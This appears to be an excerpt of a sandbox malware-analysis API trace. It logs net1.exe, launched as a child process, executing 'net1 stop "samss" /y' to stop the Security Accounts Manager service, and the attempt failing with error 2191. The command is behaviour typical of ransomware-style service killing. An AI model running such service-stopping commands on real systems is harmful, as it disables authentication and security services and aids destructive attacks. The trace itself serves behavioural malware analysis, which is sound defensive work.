	[0283.661] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0283.661] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0283.661] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0283.662] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x1ef830 | out: bufptr=0x1ef830) returned 0x0
	[0283.665] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x1ef7e8 | out: Buffer=0x1ef7e8*=0x270c70) returned 0x0
	[0283.665] OpenServiceW (hSCManager=0x26cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x26ce50
	[0283.665] QueryServiceStatus (in: hService=0x26ce50, lpServiceStatus=0x1ef790 | out: lpServiceStatus=0x1ef790*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0283.666] NetApiBufferFree (Buffer=0x270c70) returned 0x0
	[0283.666] CloseServiceHandle (hSCObject=0x26ce50) returned 1
	[0283.667] wcscpy_s (in: _Destination=0xff5980d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0283.667] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0283.668] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff595b50, nSize=0x800, Arguments=0xff597f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0283.673] GetFileType (hFile=0xb) returned 0x2
	[0283.673] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ef688 | out: lpMode=0x1ef688) returned 1
	[0283.674] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff595b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x1ef680, lpReserved=0x0 | out: lpBuffer=0xff595b50*, lpNumberOfCharsWritten=0x1ef680*=0x47) returned 1
	[0283.674] GetFileType (hFile=0xb) returned 0x2
	[0283.675] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ef688 | out: lpMode=0x1ef688) returned 1
	[0283.675] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff571efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ef680, lpReserved=0x0 | out: lpBuffer=0xff571efc*, lpNumberOfCharsWritten=0x1ef680*=0x2) returned 1
	[0283.676] _ultow (in: _Dest=0x88f, _Radix=2029296 | out: _Dest=0x88f) returned="2191"
	[0283.676] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff595b50, nSize=0x800, Arguments=0xff597f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0283.676] GetFileType (hFile=0xb) returned 0x2
	[0283.677] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ef688 | out: lpMode=0x1ef688) returned 1
	[0283.678] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff595b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x1ef680, lpReserved=0x0 | out: lpBuffer=0xff595b50*, lpNumberOfCharsWritten=0x1ef680*=0x34) returned 1
	[0283.678] GetFileType (hFile=0xb) returned 0x2
	[0283.679] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ef688 | out: lpMode=0x1ef688) returned 1
	[0283.679] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff571efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ef680, lpReserved=0x0 | out: lpBuffer=0xff571efc*, lpNumberOfCharsWritten=0x1ef680*=0x2) returned 1
	[0283.680] NetApiBufferFree (Buffer=0x264d40) returned 0x0
	[0283.680] NetApiBufferFree (Buffer=0x26c0e0) returned 0x0
	[0283.680] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0283.680] exit (_Code=2) 

Process:
	id = "87"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x16572000"
	os_pid = "0x3fe4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "85"
	os_parent_pid = "0x3e4c"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3776
	os_tid = 0x3fe8

	[0284.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f890 | out: lpSystemTimeAsFileTime=0x10f890*(dwLowDateTime=0x797a9c30, dwHighDateTime=0x1d5cdef)) 
	[0284.431] GetCurrentProcessId () returned 0x3fe4
	[0284.431] GetCurrentThreadId () returned 0x3fe8
	[0284.432] GetTickCount () returned 0x118c1ba
	[0284.432] QueryPerformanceCounter (in: lpPerformanceCount=0x10f898 | out: lpPerformanceCount=0x10f898*=42618452156) returned 1
	[0284.434] GetModuleHandleW (lpModuleName=0x0) returned 0xff420000
	[0284.434] __set_app_type (_Type=0x1) 
	[0284.434] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff439c9c) returned 0x0
	[0284.434] __getmainargs (in: _Argc=0xff444780, _Argv=0xff444790, _Env=0xff444788, _DoWildCard=0, _StartInfo=0xff44479c | out: _Argc=0xff444780, _Argv=0xff444790, _Env=0xff444788) returned 0
	[0284.435] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0284.435] GetConsoleOutputCP () returned 0x1b5
	[0284.611] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff44cec0 | out: lpCPInfo=0xff44cec0) returned 1
	[0284.612] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0284.616] sprintf_s (in: _DstBuf=0x10f838, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0284.616] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0284.619] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0284.619] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0284.619] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0284.619] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10f5d0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0284.619] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x6e) returned 0x19c060
	[0284.620] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0284.620] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x10f828 | out: Buffer=0x10f828*=0x194d40) returned 0x0
	[0284.620] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x10f828 | out: Buffer=0x10f828*=0x19c0e0) returned 0x0
	[0284.620] _fileno (_File=0x7fefe122a80) returned 0
	[0284.620] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0284.621] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0284.621] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0284.621] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0284.621] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0284.621] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0284.621] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0284.621] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0284.621] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0284.621] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0284.621] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0284.621] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0284.621] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0284.621] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0284.621] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0284.622] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0284.622] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0284.622] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0284.622] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0284.622] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0284.622] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0284.622] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0284.622] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0284.622] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0284.622] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0284.622] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0284.622] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0284.622] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0284.622] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0284.622] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0284.622] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0284.623] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0284.623] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0284.623] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0284.623] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0284.623] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0284.623] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0284.623] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0284.623] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0284.623] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0284.623] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0284.623] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0284.623] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0284.623] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0284.623] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0284.623] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0284.623] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0284.623] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0284.623] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0284.623] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0284.623] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0284.624] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0284.624] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0284.624] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0284.624] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0284.624] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0284.624] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0284.624] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0284.624] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0284.624] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0284.624] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0284.624] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0284.624] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0284.624] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0284.624] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0284.624] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0284.625] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0284.625] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x19cdf0
	[0284.633] GetServiceKeyNameW (in: hSCManager=0x19cdf0, lpDisplayName="SAMSS", lpServiceName=0xff445750, lpcchBuffer=0x10f748 | out: lpServiceName="", lpcchBuffer=0x10f748) returned 0
	[0284.635] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0284.635] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0284.635] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0284.635] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0284.635] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0284.635] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0284.635] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0284.635] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0284.636] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0284.636] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0284.636] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0284.636] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0284.636] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0284.636] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0284.636] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0284.636] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0284.636] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0284.636] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0284.636] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0284.636] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x10f750 | out: bufptr=0x10f750) returned 0x0
	[0284.640] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x10f708 | out: Buffer=0x10f708*=0x1a0c70) returned 0x0
	[0284.640] OpenServiceW (hSCManager=0x19cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x19ce50
	[0284.641] QueryServiceStatus (in: hService=0x19ce50, lpServiceStatus=0x10f6b0 | out: lpServiceStatus=0x10f6b0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0284.641] NetApiBufferFree (Buffer=0x1a0c70) returned 0x0
	[0284.641] CloseServiceHandle (hSCObject=0x19ce50) returned 1
	[0284.642] wcscpy_s (in: _Destination=0xff4480d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0284.642] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0284.643] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff445b50, nSize=0x800, Arguments=0xff447f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0284.648] GetFileType (hFile=0xb) returned 0x2
	[0284.708] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x10f5a8 | out: lpMode=0x10f5a8) returned 1
	[0284.708] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff445b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x10f5a0, lpReserved=0x0 | out: lpBuffer=0xff445b50*, lpNumberOfCharsWritten=0x10f5a0*=0x47) returned 1
	[0284.709] GetFileType (hFile=0xb) returned 0x2
	[0284.709] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x10f5a8 | out: lpMode=0x10f5a8) returned 1
	[0284.710] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff421efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x10f5a0, lpReserved=0x0 | out: lpBuffer=0xff421efc*, lpNumberOfCharsWritten=0x10f5a0*=0x2) returned 1
	[0284.710] _ultow (in: _Dest=0x88f, _Radix=1111568 | out: _Dest=0x88f) returned="2191"
	[0284.710] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff445b50, nSize=0x800, Arguments=0xff447f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0284.711] GetFileType (hFile=0xb) returned 0x2
	[0284.711] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x10f5a8 | out: lpMode=0x10f5a8) returned 1
	[0284.711] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff445b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x10f5a0, lpReserved=0x0 | out: lpBuffer=0xff445b50*, lpNumberOfCharsWritten=0x10f5a0*=0x34) returned 1
	[0284.712] GetFileType (hFile=0xb) returned 0x2
	[0284.712] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x10f5a8 | out: lpMode=0x10f5a8) returned 1
	[0284.713] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff421efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x10f5a0, lpReserved=0x0 | out: lpBuffer=0xff421efc*, lpNumberOfCharsWritten=0x10f5a0*=0x2) returned 1
	[0284.714] NetApiBufferFree (Buffer=0x194d40) returned 0x0
	[0284.714] NetApiBufferFree (Buffer=0x19c0e0) returned 0x0
	[0284.714] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0284.714] exit (_Code=2)